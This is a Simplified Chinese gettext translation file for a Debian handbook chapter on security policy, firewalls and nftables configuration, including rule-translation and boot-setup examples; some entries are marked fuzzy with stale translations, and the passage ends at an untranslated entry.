#
# wing.W , 2013.
# Faris Xiao , 2017.
# 肖盛文 , 2017.
#
msgid ""
msgstr ""
"Project-Id-Version: 0\n"
"POT-Creation-Date: 2022-07-30 18:23+0200\n"
"PO-Revision-Date: 2021-11-30 06:50+0000\n"
"Last-Translator: Fei Wang \n"
"Language-Team: Chinese (Simplified) \n"
"Language: zh-CN\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Plural-Forms: nplurals=1; plural=0;\n"
"X-Generator: Weblate 4.10-dev\n"
msgid "Firewall"
msgstr "防火墙"
msgid "Netfilter"
msgstr "Netfilter"
msgid "nftables"
msgstr "nftables"
msgid "IDS/NIDS"
msgstr "IDS/NIDS"
msgid "Security"
msgstr "安全"
msgid "An information system can have a varying level of importance depending on the environment. In some cases, it is vital to a company's survival. It must therefore be protected from various kinds of risks. The process of evaluating these risks, defining and implementing the protection is collectively known as the “security process”."
msgstr "一个信息系统根据其使用环境的不同可能具有不同等级的重要性。某些情况下,对公司性命攸关。因此,必须保护其免受各种风险。评估这些风险,定义并执行保护措施总称为“安全过程”。"
msgid "Defining a Security Policy"
msgstr "定义安全策略"
#, fuzzy
#| msgid "packetIP"
msgid "securitypolicy"
msgstr "包IP"
msgid "CAUTION Scope of this chapter"
msgstr "注意 本章所涉及范围"
#, fuzzy
#| msgid "Security is a vast and very sensitive subject, so we cannot claim to describe it in any kind of comprehensive manner in the course of a single chapter. We will only delineate a few important points and describe some of the tools and methods that can be of use in the security domain. For further reading, literature abounds, and entire books have been devoted to the subject. An excellent starting point would be Linux Server Security by Michael D. Bauer (published by O'Reilly)."
msgid "Security is a vast and very sensitive subject, so we cannot claim to describe it in any kind of comprehensive manner in the course of a single chapter. We will only delineate a few important points and describe some of the tools and methods that can be of use in the security domain. For further reading, literature abounds, and entire books have been devoted to the subject."
msgstr "安全是一个很广泛并且敏感的题目,很难在一个章节的课程中来明确全面地表述。此处只划定几个重点,介绍一些可以用于安全领域的工具和方法。更深层次的读物,作品,书籍比比皆是。一本很好的入门书籍是Linux 服务器安全(由 O'Reilly 出版)。"
msgid "The word “security” itself covers a vast range of concepts, tools and procedures, none of which apply universally. Choosing among them requires a precise idea of what your goals are. Securing a system starts with answering a few questions. Rushing headlong into implementing an arbitrary set of tools runs the risk of focusing on the wrong aspects of security."
msgstr "“安全”是一个涵盖很宽泛的概念,工具和方法,没有哪个是万用的。在其中做出选择,需要确切的知道你的目标是什么。保护系统从回答几个问题开始。急匆匆的实施随机的工具会把安全风险转移到错误的方向。"
msgid "The very first thing to determine is therefore the goal. A good approach to help with that determination starts with the following questions:"
msgstr "因此,首要的事情是确定目标。从下面的问题开始,是逐渐确定目标的好方法:"
msgid "What are we trying to protect? The security policy will be different depending on whether we want to protect computers or data. In the latter case, we also need to know which data."
msgstr "什么 是要保护的?要保护计算机还是要保护数据,其策略是不同的。如果是后者,还要知道保护哪些数据。"
msgid "What are we trying to protect against? Is it leakage of confidential data? Accidental data loss? Revenue loss caused by disruption of service?"
msgstr "我们试图防止什么?机密数据泄露?意外数据丢失?服务中断而导致的收入损失?"
msgid "Also, who are we trying to protect against? Security measures will be quite different for guarding against a typo by a regular user of the system than they would be when protecting against a determined attacker group."
msgstr "同样,试图防止谁?防范正常用户的输入和防止有预谋的攻击者,其安全措施是大不相同的。"
#, fuzzy
#| msgid "packetIP"
msgid "securityrisk"
msgstr "包IP"
msgid "The term “risk” is customarily used to refer collectively to these three factors: what to protect, what needs to be prevented from happening, and who will try to make it happen. Modeling the risk requires answers to these three questions. From this risk model, a security policy can be constructed, and the policy can be implemented with concrete actions."
msgstr "术语“风险”通常用来涉及这三个因素的综合:保护什么,防止发生什么,谁会让它发生。三个问题的答案就塑造了风险。针对这种风险模型,就可以构建安全策略,并通过具体行动实施策略。"
msgid "NOTE Permanent questioning"
msgstr "注意 永久质疑"
msgid "Bruce Schneier, a world expert in security matters (not only computer security) tries to counter one of security's most important myths with a motto: “Security is a process, not a product”. Assets to be protected change in time, and so do threats and the means available to potential attackers. Even if a security policy has initially been perfectly designed and implemented, one should never rest on one's laurels. The risk components evolve, and the response to that risk must evolve accordingly."
msgstr "Bruce Schneier,是一个安全事务(不仅仅是计算机安全)方面的世界级专家,曾将安全最重要神秘的面纱概括为一句箴言:“安全是一个过程,而非产品”。需要保护的东西会随着时间而改变。威胁和对付潜在攻击者的方法也是如此。即使安全策略被完美的设计和实施,也不应该躺在功劳簿上。引入了新的风险组件,则必须引入相应的对策。"
msgid "Schneier, Bruce"
msgstr "Schneier, Bruce"
msgid "Bruce Schneier"
msgstr "Bruce Schneier"
msgid "Extra constraints are also worth taking into account, as they can restrict the range of available policies. How far are we willing to go to secure a system? This question has a major impact on the policy to implement. The answer is too often only defined in terms of monetary costs, but the other elements should also be considered, such as the amount of inconvenience imposed on system users or performance degradation."
msgstr "额外的限制也值得考虑,它们可以限制可用策略的范围。我们想要在多大程度上保护一个系统?这个问题会对实施策略产生重大影响。答案常常仅仅以金钱成本来定义,但是也应该考虑其他因素,例如强加给系统用户的不便或者性能降低程度。"
msgid "Once the risk has been modeled, one can start thinking about designing an actual security policy."
msgstr "一旦风险成型,就可以考虑开始设计实际的风险策略了。"
msgid "NOTE Extreme policies"
msgstr "注意 极端策略"
msgid "There are cases where the choice of actions required to secure a system is extremely simple."
msgstr "某些情况下,保护系统所要做的行动是极其简单的。"
msgid "For instance, if the system to be protected only comprises a second-hand computer, the sole use of which is to add a few numbers at the end of the day, deciding not to do anything special to protect it would be quite reasonable. The intrinsic value of the system is low. The value of the data is zero since they are not stored on the computer. A potential attacker infiltrating this “system” would only gain an unwieldy calculator. The cost of securing such a system would probably be greater than the cost of a breach."
msgstr "譬如,如果要保护的系统只是一个每天结束时加几个数据的二手电脑,那么不采取特殊措施来保护它也是合理的。系统本身的价值很低。而数据不储存在电脑上,数据的价值几乎没有。渗透到该系统的潜在攻击者只会得到一个笨拙的计算器。保护这样一个系统的成本很可能比破坏导致的成本还要大。"
msgid "At the other end of the spectrum, we might want to protect the confidentiality of secret data in the most comprehensive way possible, trumping any other consideration. In this case, an appropriate response would be the total destruction of these data (securely erasing the files, shredding of the hard disks to bits, then dissolving these bits in acid, and so on). If there is an additional requirement that data must be kept in store for future use (although not necessarily readily available), and if cost still isn't a factor, then a starting point would be storing the data on iridium–platinum alloy plates stored in bomb-proof bunkers under various mountains in the world, each of which being (of course) both entirely secret and guarded by entire armies…"
msgstr "另一方面,我们想最充分的保护机密数据,超过其他任何考虑。这种情况,一种恰当的做法可能是完全焚毁这些数据(安全删除文件,将硬盘粉碎成位元,然后将这些位元溶解到酸中,等等)。如果有额外的需求,数据必须存储以便将来使用(虽然不是马上可用),同时要考虑成本因素,那么可以将这些数据存储在白金合金板上,再存到世界山脉下面的防弹沙坑里,每一个都保密并且有重兵把守…"
#, fuzzy
#| msgid "Extreme though these examples may seem, they would nevertheless be an adequate response to defined risks, insofar as they are the outcome of a thought process that takes into account the goals to reach and the constraints to fulfill. When coming from a reasoned decision, no security policy is less respectable than any other."
msgid "Extreme though these examples may seem, they would, nevertheless, be an adequate response to defined risks, insofar as they are the outcome of a thought process that takes into account the goals to reach and the constraints to fulfill. When coming from a reasoned decision, no security policy is less respectable than any other."
msgstr "虽然看起来有些极端,但是它们足以应对所定义的风险,因为它们是在考虑了要达到的目标和约束条件之后思考的结果。只要是出于理性的决断,没有哪个安全策略比另外的更不值得敬畏。"
msgid "In most cases, the information system can be segmented in consistent and mostly independent subsets. Each subsystem will have its own requirements and constraints, and so the risk assessment and the design of the security policy should be undertaken separately for each. A good principle to keep in mind is that a short and well-defined perimeter is easier to defend than a long and winding frontier. The network organization should also be designed accordingly: the sensitive services should be concentrated on a small number of machines, and these machines should only be accessible via a minimal number of check-points; securing these check-points will be easier than securing all the sensitive machines against the entirety of the outside world. It is at this point that the usefulness of network filtering (including by firewalls) becomes apparent. This filtering can be implemented with dedicated hardware, but a possibly simpler and more flexible solution is to use a software firewall such as the one integrated in the Linux kernel."
msgstr "多数情况下,信息系统可以分割成一致独立的子系统。每个子系统有自身的需求和限制,这样可以单独评估每个风险和设计安全策略。一个需要谨记的原则是简短明晰的周界要比漫长而曲折的前沿容易定义。网络结构也应相应设计:敏感服务应集中在少数几个机器上,而且这些机器只能通过极少数检查点访问;保护这些检查点要比隔离所有敏感机器与外部世界简单。在这些点上,网络过滤器(包括防火墙)的作用就显而易见了。过滤器可以用专门的硬件,但是更为简单和复杂的解决方案是使用软件防火墙,例如在 Linux 内核中集成的。"
msgid "Firewall or Packet Filtering"
msgstr "防火墙或者包过滤"
msgid "firewall"
msgstr "防火墙"
#, fuzzy
#| msgid "packetIP"
msgid "packetfilterfirewall"
msgstr "包IP"
msgid "BACK TO BASICS Firewall"
msgstr "回到基础 防火墙"
msgid "packetIP"
msgstr "包IP"
msgid "A firewall is a piece of computer equipment with hardware and/or software that sorts the incoming or outgoing network packets (coming to or from a local network) and only lets through those matching certain predefined conditions."
msgstr "防火墙是计算机设备的一部分,该设备使用硬件和(或者)软件分拣流入和流出的网络数据包(源自或者源于局域网),并且只允许符合预定义条件的包通过。"
msgid "A firewall is a filtering network gateway and is only effective on packets that must go through it. Therefore, it can only be effective when going through the firewall is the only route for these packets."
msgstr "防火墙是一个过滤网关,并且只对要通过它的数据包有作用。因此,只有在防火墙是这些数据包的唯一路由器的时候才有效。"
msgid "SPECIFIC CASE Local Firewall"
msgstr "特例 局部防火墙"
#, fuzzy
#| msgid "A firewall can be restricted to one particular machine (as opposed to a complete network), in which case its role is to filter or limit access to some services, or possibly to prevent outgoing connections by rogue software that a user could, willingly or not, have installed."
msgid "A firewall can be restricted to one particular machine (as opposed to a complete network), in which case its role is to filter or limit access to some services. It is, however, always better to configure services to not listen on those network interfaces, where these services are not supposed to be offered, or to disable and remove services, which are not to be offered at all, than to use a packet filter to prevent any unwanted access to these services."
msgstr "防火墙可以应用在个别机器上(相对于整个网络而言),在这些情况中其角色是过滤或限制对一些服务的访问,或阻止用户有意或无意安装的流氓软件对外部的连接。"
msgid "Its role can also be to filter or limit connections by rogue or poorly programmed software that a user could, willingly or not, have installed. The reliability of this, however, highly depends on the goal of these actions and the integrity of the system itself. This action is not a measurement to prevent potential threats to send data."
msgstr ""
#, fuzzy
#| msgid "The Linux kernel embeds the netfilter firewall. It can be controlled from user space with the iptables and ip6tables commands. The difference between these two commands is that the former acts on the IPv4 network, whereas the latter acts on IPv6. Since both network protocol stacks will probably be around for many years, both tools will need to be used in parallel."
msgid "The Linux kernel embeds the netfilter firewall, which can be controlled from user space with the iptables, ip6tables, arptables and ebtables commands."
msgstr "Linux内核嵌入了netfilter防火墙,可以通过iptables、ip6tables、arptables和ebtables命令从用户空间进行控制。"
msgid "iptables"
msgstr "iptables"
#, fuzzy
msgid "However, Netfilter iptables commands are being replaced by nftables, which avoids many of its problems. Its design involves less code duplication, and it can be managed with just the nft command. Since Debian Buster, the nftables framework is used by default. The commands mentioned before are provided by versions, which use the nftables kernel API, by default. If one requires the “classic“ commands, the relevant binaries can be adjusted using update-alternatives."
msgstr "然而,Netfilter iptables 命令正在被 nftables 所取代,它避免了许多问题。它的设计涉及到较少的代码重复,而且它可以只用 nft 命令来管理。Debian Buster 默认使用 nftables 框架。"
#, fuzzy
#| msgid "VOCABULARY Security audit"
msgid "TOOLS fwbuilder and ufw"
msgstr "词汇 安全审核"
msgid "fwbuilder"
msgstr "fwbuilder"
#, fuzzy
#| msgid "top"
msgid "ufw"
msgstr "top"
#, fuzzy
#| msgid "Each rule creation requires one invocation of iptables/ip6tables. Typing these commands manually can be tedious, so the calls are usually stored in a script so that the same configuration is set up automatically every time the machine boots. This script can be written by hand, but it can also be interesting to prepare it with a high-level tool such as fwbuilder."
msgid "Although (destined to) being replaced by nftables, iptables is still widely used and suited for many use-cases. Creating a rule requires an invocation of iptables/ip6tables. Typing these commands manually can be tedious, so the calls are usually stored in a script, so that the same configuration is set up automatically every time the machine boots, or they can be made “persistent“ using iptables-persistent."
msgstr "每次创建规则需要使用 iptables/ip6tables命令。手工输入这些命令是繁琐的,可以将调用存储在脚本中,这样机器每次启动后就可以进行同样的自动配置。脚本可以手工输入,但是也可以使用很有趣的高级工具(例如,fwbuilder)来准备。"
msgid "A script usually needs to be written by hand. But there are, tools that make it simpler to configure the netfilter firewall, with a graphical representation of the filtering rules. fwbuilder is undoubtedly among the best of them. The rules are created with simple drag-and-drop actions on objects (interfaces, networks, ports, servers, etc.). A few contextual menus can change the condition (negating it, for instance). Then the action needs to be chosen and configured."
msgstr ""
msgid "An alternative to writing and saving/loading the required rules is to use ufw from the package with the same name. This tool is a frontend to iptables as well, but it provides a command line interface only. Simple commands can enable or disable (block) network traffic to and from ports and IP addresses. The configuration files in /etc/ufw/ also allow for complex rule sets (e.g. hooking into the Docker chains), which are then saved and loaded automatically. This tool is often used for simple setups and to block"
msgstr ""
#, fuzzy
#| msgid "bufferreceive buffer"
msgid "/etc/etc/ufw/"
msgstr "缓冲区接收缓冲区"
msgid "To enable a default firewall in Debian execute:"
msgstr "要在 Debian 中启用默认防火墙,请执行:"
#, fuzzy
msgid ""
"# apt install -y nftables\n"
"Reading package lists... Done\n"
"...\n"
"# systemctl enable nftables.service\n"
"Created symlink /etc/systemd/system/sysinit.target.wants/nftables.service → /lib/systemd/system/nftables.service.\n"
""
msgstr ""
"# apt install -y nftables\n"
"Reading package lists... Done\n"
"...\n"
"# systemctl enable nftables.service\n"
"Created symlink /etc/systemd/system/sysinit.target.wants/nftables.service → /lib/systemd/system/nftables.service.\n"
""
msgid "nftables Behavior"
msgstr "nftables 行为"
#, fuzzy
#| msgid "IDS"
msgid "nftables"
msgstr "IDS"
#, fuzzy
msgid "As the kernel is processing a network packet, it pauses and allows us to inspect the packet and decide what to do with that packet. For example, we might want to drop or discard certain incoming packets, modify other packets in various ways, block certain outgoing packets to control against malware or redirect some packets at the earliest possible stage to bridge network interfaces or to spread the load of incoming packets between systems."
msgstr "当内核在处理一个网络包的时候,它会暂停,让我们检查这个包,并决定如何处理这个包。例如,我们可能想放弃或丢弃某些传入的包,以各种方式修改其他包,阻止某些传出的包以控制恶意软件,或者在最早的阶段重定向一些包以桥接网络接口或在系统之间分散传入包的负载。"
#, fuzzy
#| msgid "IDS"
msgid "OSI"
msgstr "IDS"
#, fuzzy
#| msgid "intrusion detection"
msgid "Open Systems InterconnectionOSI"
msgstr "入侵侦测"
#, fuzzy
msgid "A good understanding of the layers 3, 4 and 5 of the OSI (Open Systems Interconnection) model is essential to get the most from netfilter."
msgstr "对OSI(开放系统互连)模型的第3层、第4层和第5层有很好的理解,对于从netfilter中获得最大的收益是至关重要的。"
#, fuzzy
#| msgid "VOCABULARY Zero-day exploit"
msgid "CULTURE The OSI model"
msgstr "词汇 0day 漏洞"
#, fuzzy
#| msgid "logsdisplay"
msgid "OSImodel"
msgstr "OSImodel"
msgid "The OSI model is a conceptual model to implement networking protocols without regard to its underlying internal structure and technology. Its goal is the interoperability of diverse communication systems with standard communication protocols."
msgstr ""
msgid "This model was defined in the standard ISO/EIC 7498. The following seven layers are described:"
msgstr ""
#, fuzzy
msgid "Physical: transmission and reception of raw bit streams over a physical medium"
msgstr "物理:通过物理介质传输和接收原始位流"
#, fuzzy
msgid "Data Link: reliable transmission of data frames between two nodes connected by a physical layer"
msgstr "数据链路:通过物理层连接的两个节点之间可靠地传输数据帧"
#, fuzzy
msgid "Network: structuring and managing a multi-node network, including addressing, routing and traffic control"
msgstr "网络:构建和管理多节点网络,包括寻址、路由和流量控制"
#, fuzzy
msgid "Transport: reliable transmission of data segments between points on a network, including segmentation, acknowledgment and multiplexing"
msgstr "传输:在网络上的点之间可靠地传输数据段,包括分段、确认和多路复用"
#, fuzzy
msgid "Session: managing communication sessions, i.e. continuous exchange of information in the form of multiple back-and-forth transmissions between two nodes"
msgstr "会话:管理通信会话,即以两个节点之间的多次来回传输的形式持续交换信息"
#, fuzzy
msgid "Presentation: translation of data between a networking service and an application; including character encoding, data compression and encryption/decryption"
msgstr "演示:网络服务和应用程序之间的数据转换;包括字符编码、数据压缩和加密/解密"
msgid "Application: High-level APIs, including resource sharing, remote file access."
msgstr "应用程序:高级 API,包括资源共享、远程文件访问。"
#, fuzzy
#| msgid "More information can be found on Wikipedia: "
msgid "More information can be found on Wikipedia: "
msgstr "更多信息可以在维基百科上找到:"
#, fuzzy
#| msgid "NetworkIDS"
msgid "firewalltables"
msgstr "网络IDS"
#, fuzzy
#| msgid "NetworkIDS"
msgid "firewallrules"
msgstr "网络IDS"
#, fuzzy
#| msgid "NetworkIDS"
msgid "firewallchains"
msgstr "网络IDS"
msgid "The firewall is configured with tables, which hold rules contained in chains. Unlike iptables, nftables does not have any default table. The user decides which and how many tables to create. Every table must have only one of the following five families assigned: ip, ip6, inet, arp and bridge. ip is used if the family is not specified."
msgstr ""
msgid "There are two types of chains: base chains and regular chains. A base chain is an entry point for packets from the networking stack. Base chains are registered into the Netfilter hooks, e.g. they see packets flowing through the TCP/IP stack. On the other hand, a regular chain is not attached to any hook so it does not see any traffic. But it may be used as a jump target for better organization of the rules."
msgstr ""
msgid "chain"
msgstr "链(chain)"
msgid "Rules are made of statements, which includes some expressions to be matched and then a verdict statement, like accept, drop, queue, continue, return, jump chain and goto chain."
msgstr ""
#, fuzzy
#| msgid "IDS"
msgid "rule"
msgstr "IDS"
msgid "BACK TO BASICS ICMP"
msgstr "回到基础 ICMP"
msgid "ICMP"
msgstr "ICMP"
#, fuzzy
#| msgid "packetIP"
msgid "protocolICMP"
msgstr "包IP"
#, fuzzy
#| msgid "Internet Control Message Protocol"
msgid "Internet Control Message ProtocolICMP"
msgstr "互联网控制信息协议(Internet Control Message Protocol)"
msgid "ping"
msgstr "ping"
#, fuzzy
#| msgid "ICMP (Internet Control Message Protocol) is the protocol used to transmit complementary information on communications. It allows testing network connectivity with the ping command (which sends an ICMP echo request message, which the recipient is meant to answer with an ICMP echo reply message). It signals a firewall rejecting a packet, indicates an overflow in a receive buffer, proposes a better route for the next packets in the connection, and so on. This protocol is defined by several RFC documents; the initial RFC777 and RFC792 were soon completed and extended. "
msgid "ICMP (Internet Control Message Protocol) is the protocol used to transmit complementary information on communications. It allows testing network connectivity with the ping command (which sends an ICMP echo request message, which the recipient is meant to answer with an ICMP echo reply message). It signals a firewall rejecting a packet, indicates an overflow in a receive buffer, proposes a better route for the next packets in the connection, and so on. This protocol is defined by several RFC documents; the initial RFC 777 and RFC 792 were soon completed and extended. "
msgstr "ICMP (互联网控制信息Internet Control Message 协议)是用来在通信中传递补充信息的协议。支持使用 ping 命令来测试网络的连通性(发送 ICMP 回应请求信息,接收者要用 ICMP回应应答信息应答)。它会产生防火墙拒绝数据包,显示接收缓冲区溢出,为连接中后续数据包提供更好的路由,等等。该协议有几个 RFC 文档定义;起先 RFC777 和 RFC792 很快就完成了,并被扩展。 "
msgid "For reference, a receive buffer is a small memory zone storing data between the time it arrives from the network and the time the kernel handles it. If this zone is full, new data cannot be received, and ICMP signals the problem, so that the emitter can slow down its transfer rate (which should ideally reach an equilibrium after some time)."
msgstr "接收缓冲区是一个小内存区域,用来存储已经从网络到达而内核还未来得及处理的数据。如果该区域满了,新的数据就不能被接收,ICMP 会发出错误信号,这样发送者会减缓传输速率(理想情况下,过段时间就会达到平衡)。"
msgid "receive buffer"
msgstr "接收缓冲区"
msgid "bufferreceive buffer"
msgstr "缓冲区接收缓冲区"
#, fuzzy
#| msgid "Note that although an IPv4 network can work without ICMP, ICMPv6 is strictly required for an IPv6 network, since it combines several functions that were, in the IPv4 world, spread across ICMPv4, IGMP (Internet Group Membership Protocol) and ARP (Address Resolution Protocol). ICMPv6 is defined in RFC4443. "
msgid "Note that although an IPv4 network can work without ICMP, ICMPv6 is strictly required for an IPv6 network, since it combines several functions that were, in the IPv4 world, spread across ICMPv4, IGMP (Internet Group Membership Protocol) and ARP (Address Resolution Protocol). ICMPv6 is defined in RFC 4443. "
msgstr "注意,虽然 IPv4 在没有 ICMP 的情况下,仍然能工作;但是,ICMPv6 对于 IPv6 来说是必须的。因为它结合了一些,在 IPv4 的世界中,遍布 ICMPv4 功能,IGMP(Internet Group Membership Protocol)和 ARP(Address Resolution Protocol)。 ICMPv6 在 RFC4443 中定义。"
msgid "Moving from iptables to nftables"
msgstr "从 iptable 移动到 nftables"
msgid "The iptables-translate and ip6tables-translate commands can be used to translate old iptables commands into the new nftables syntax. Whole rule sets can also be translated, in this case we migrate the rules configured in one computer which has Docker installed:"
msgstr ""
msgid ""
"# iptables-save > iptables-ruleset.txt\n"
"# iptables-restore-translate -f iptables-ruleset.txt\n"
"\n"
"# Translated by iptables-restore-translate v1.8.7 on Wed Mar 16 22:06:32 2022\n"
"add table ip filter\n"
"add chain ip filter INPUT { type filter hook input priority 0; policy accept; }\n"
"add chain ip filter FORWARD { type filter hook forward priority 0; policy drop; }\n"
"add chain ip filter OUTPUT { type filter hook output priority 0; policy accept; }\n"
"add chain ip filter DOCKER\n"
"add chain ip filter DOCKER-ISOLATION-STAGE-1\n"
"add chain ip filter DOCKER-ISOLATION-STAGE-2\n"
"add chain ip filter DOCKER-USER\n"
"add rule ip filter FORWARD counter jump DOCKER-USER\n"
"add rule ip filter FORWARD counter jump DOCKER-ISOLATION-STAGE-1\n"
"add rule ip filter FORWARD oifname \"docker0\" ct state related,established counter accept\n"
"add rule ip filter FORWARD oifname \"docker0\" counter jump DOCKER\n"
"add rule ip filter FORWARD iifname \"docker0\" oifname != \"docker0\" counter accept\n"
"add rule ip filter FORWARD iifname \"docker0\" oifname \"docker0\" counter accept\n"
"add rule ip filter DOCKER-ISOLATION-STAGE-1 iifname \"docker0\" oifname != \"docker0\" counter jump DOCKER-ISOLATION-STAGE-2\n"
"add rule ip filter DOCKER-ISOLATION-STAGE-1 counter return\n"
"add rule ip filter DOCKER-ISOLATION-STAGE-2 oifname \"docker0\" counter drop\n"
"add rule ip filter DOCKER-ISOLATION-STAGE-2 counter return\n"
"add rule ip filter DOCKER-USER counter return\n"
"add table ip nat\n"
"add chain ip nat PREROUTING { type nat hook prerouting priority -100; policy accept; }\n"
"add chain ip nat INPUT { type nat hook input priority 100; policy accept; }\n"
"add chain ip nat OUTPUT { type nat hook output priority -100; policy accept; }\n"
"add chain ip nat POSTROUTING { type nat hook postrouting priority 100; policy accept; }\n"
"add chain ip nat DOCKER\n"
"add rule ip nat PREROUTING fib daddr type local counter jump DOCKER\n"
"add rule ip nat OUTPUT ip daddr != 127.0.0.0/8 fib daddr type local counter jump DOCKER\n"
"add rule ip nat POSTROUTING oifname != \"docker0\" ip saddr 172.17.0.0/16 counter masquerade\n"
"add rule ip nat DOCKER iifname \"docker0\" counter return\n"
"# Completed on Wed Mar 16 22:06:32 2022\n"
"# iptables-restore-translate -f iptables-ruleset.txt > ruleset.nft\n"
"# nft -f ruleset.nft\n"
"# nft list ruleset\n"
"table inet filter {\n"
"\tchain input {\n"
"\t\ttype filter hook input priority filter; policy accept;\n"
"\t}\n"
"\n"
"\tchain forward {\n"
"\t\ttype filter hook forward priority filter; policy accept;\n"
"\t}\n"
"\n"
"\tchain output {\n"
"\t\ttype filter hook output priority filter; policy accept;\n"
"\t}\n"
"}\n"
"table ip nat {\n"
"\tchain DOCKER {\n"
"\t\tiifname \"docker0\" counter packets 0 bytes 0 return\n"
"\t\tiifname \"docker0\" counter packets 0 bytes 0 return\n"
"\t}\n"
"\n"
"\tchain POSTROUTING {\n"
"\t\ttype nat hook postrouting priority srcnat; policy accept;\n"
"\t\toifname != \"docker0\" ip saddr 172.17.0.0/16 counter packets 0 bytes 0 masquerade\n"
"\t\toifname != \"docker0\" ip saddr 172.17.0.0/16 counter packets 0 bytes 0 masquerade\n"
"\t}\n"
"\n"
"\tchain PREROUTING {\n"
"\t\ttype nat hook prerouting priority dstnat; policy accept;\n"
"\t\tfib daddr type local counter packets 1 bytes 60 jump DOCKER\n"
"\t\tfib daddr type local counter packets 0 bytes 0 jump DOCKER\n"
"\t}\n"
"\n"
"\tchain OUTPUT {\n"
"\t\ttype nat hook output priority -100; policy accept;\n"
"\t\tip daddr != 127.0.0.0/8 fib daddr type local counter packets 0 bytes 0 jump DOCKER\n"
"\t\tip daddr != 127.0.0.0/8 fib daddr type local counter packets 0 bytes 0 jump DOCKER\n"
"\t}\n"
"\n"
"\tchain INPUT {\n"
"\t\ttype nat hook input priority 100; policy accept;\n"
"\t}\n"
"}\n"
"table ip filter {\n"
"\tchain DOCKER {\n"
"\t}\n"
"\n"
"\tchain DOCKER-ISOLATION-STAGE-1 {\n"
"\t\tiifname \"docker0\" oifname != \"docker0\" counter packets 0 bytes 0 jump DOCKER-ISOLATION-STAGE-2\n"
"\t\tcounter packets 0 bytes 0 return\n"
"\t\tiifname \"docker0\" oifname != \"docker0\" counter packets 0 bytes 0 jump DOCKER-ISOLATION-STAGE-2\n"
"\t\tcounter packets 0 bytes 0 return\n"
"\t}\n"
"\n"
"\tchain DOCKER-ISOLATION-STAGE-2 {\n"
"\t\toifname \"docker0\" counter packets 0 bytes 0 drop\n"
"\t\tcounter packets 0 bytes 0 return\n"
"\t\toifname \"docker0\" counter packets 0 bytes 0 drop\n"
"\t\tcounter packets 0 bytes 0 return\n"
"\t}\n"
"\n"
"\tchain FORWARD {\n"
"\t\ttype filter hook forward priority filter; policy drop;\n"
"\t\tcounter packets 0 bytes 0 jump DOCKER-USER\n"
"\t\tcounter packets 0 bytes 0 jump DOCKER-ISOLATION-STAGE-1\n"
"\t\toifname \"docker0\" ct state related,established counter packets 0 bytes 0 accept\n"
"\t\toifname \"docker0\" counter packets 0 bytes 0 jump DOCKER\n"
"\t\tiifname \"docker0\" oifname != \"docker0\" counter packets 0 bytes 0 accept\n"
"\t\tiifname \"docker0\" oifname \"docker0\" counter packets 0 bytes 0 accept\n"
"\t\tcounter packets 0 bytes 0 jump DOCKER-USER\n"
"\t\tcounter packets 0 bytes 0 jump DOCKER-ISOLATION-STAGE-1\n"
"\t\toifname \"docker0\" ct state established,related counter packets 0 bytes 0 accept\n"
"\t\toifname \"docker0\" counter packets 0 bytes 0 jump DOCKER\n"
"\t\tiifname \"docker0\" oifname != \"docker0\" counter packets 0 bytes 0 accept\n"
"\t\tiifname \"docker0\" oifname \"docker0\" counter packets 0 bytes 0 accept\n"
"\t}\n"
"\n"
"\tchain DOCKER-USER {\n"
"\t\tcounter packets 0 bytes 0 return\n"
"\t\tcounter packets 0 bytes 0 return\n"
"\t}\n"
"\n"
"\tchain INPUT {\n"
"\t\ttype filter hook input priority filter; policy accept;\n"
"\t}\n"
"\n"
"\tchain OUTPUT {\n"
"\t\ttype filter hook output priority filter; policy accept;\n"
"\t}\n"
"}\n"
""
msgstr ""
msgid "The tools iptables-nft, ip6tables-nft, arptables-nft, ebtables-nft are versions of iptables that use the nftables API, so users can keep using the old iptables syntax with them, but that is not recommended; these tools should only be used for backwards compatibility."
msgstr ""
msgid "Syntax of nft"
msgstr "nft 的语法"
#, fuzzy
#| msgid "snort"
msgid "nft"
msgstr "snort"
msgid "The nft commands allow manipulating tables, chains and rules. The table option supports multiple operations: add, create, delete, list and flush. nft add table ip6 mangle adds a new table from the family ip6."
msgstr ""
msgid "To insert a new base chain to the filter table, you can execute the following command (note that the semicolon is escaped with a backslash when using Bash):"
msgstr ""
msgid "# nft add chain filter input { type filter hook input priority 0 \\; }"
msgstr "# nft add chain filter input { type filter hook input priority 0 \\; }"
msgid "Rules are usually added with the following syntax: nft add rule [family] table chain handle handle statement."
msgstr ""
msgid "insert is similar to the add command, but the given rule is prepended to the beginning of the chain or before the rule with the given handle instead of at the end or after that rule. For example, the following command inserts a rule before the rule with handler number 8:"
msgstr ""
#, fuzzy
#| msgid ""
#| "# nft insert rule filter output position 8 ip daddr 127.0.0.8 drop\n"
#| ""
msgid "# nft insert rule filter output position 8 ip daddr 127.0.0.8 drop"
msgstr ""
"# nft insert rule filter output position 8 ip daddr 127.0.0.8 drop\n"
""
#, fuzzy
#| msgid "monitoringlog files"
msgid "/etc/etc/nftables.conf"
msgstr "监视日志文件"
msgid "The executed nft commands do not make permanent changes to the configuration, so they are lost if they are not saved. The firewall rules are located in /etc/nftables.conf. A simple way to save the current firewall configuration permanently is to execute nft list ruleset > /etc/nftables.conf as root."
msgstr ""
msgid "nft allows many more operations, refer to its manual page nft 8 for more information."
msgstr ""
msgid "Installing the Rules at Each Boot"
msgstr "每次启动时加载规则"
#, fuzzy
#| msgid "logsmonitoring"
msgid "servicenftables.service"
msgstr "日志监视"
msgid "To enable a default firewall in Debian, you need to store the rules in /etc/nftables.conf and execute systemctl enable nftables as root. You can stop the firewall by executing nft flush ruleset as root."
msgstr ""
msgid "In other cases, the recommended way is to register the configuration script in up directive of the /etc/network/interfaces file. In the following example, the script is stored under /usr/local/etc/arrakis.fw."
msgstr "其他情况下,推荐的方法是将配置脚本在 up 目录下作为 /etc/network/interfaces 文件。在后面的例子中,脚本存储在 /usr/local/etc/arrakis.fw。"
msgid "interfaces file calling firewall script"
msgstr "接口(interfaces) 文件调用防火墙脚本"
msgid ""
"auto eth0\n"
"iface eth0 inet static\n"
" address 192.168.0.1\n"
" network 192.168.0.0\n"
" netmask 255.255.255.0\n"
" broadcast 192.168.0.255\n"
" up /usr/local/etc/arrakis.fw"
msgstr ""
"auto eth0\n"
"iface eth0 inet static\n"
" address 192.168.0.1\n"
" network 192.168.0.0\n"
" netmask 255.255.255.0\n"
" broadcast 192.168.0.255\n"
" up /usr/local/etc/arrakis.fw"
msgid "This obviously assumes that you are using ifupdown to configure the network interfaces. If you are using something else (like NetworkManager or systemd-networkd), then refer to their respective documentation to find out ways to execute a script after the interface has been brought up."
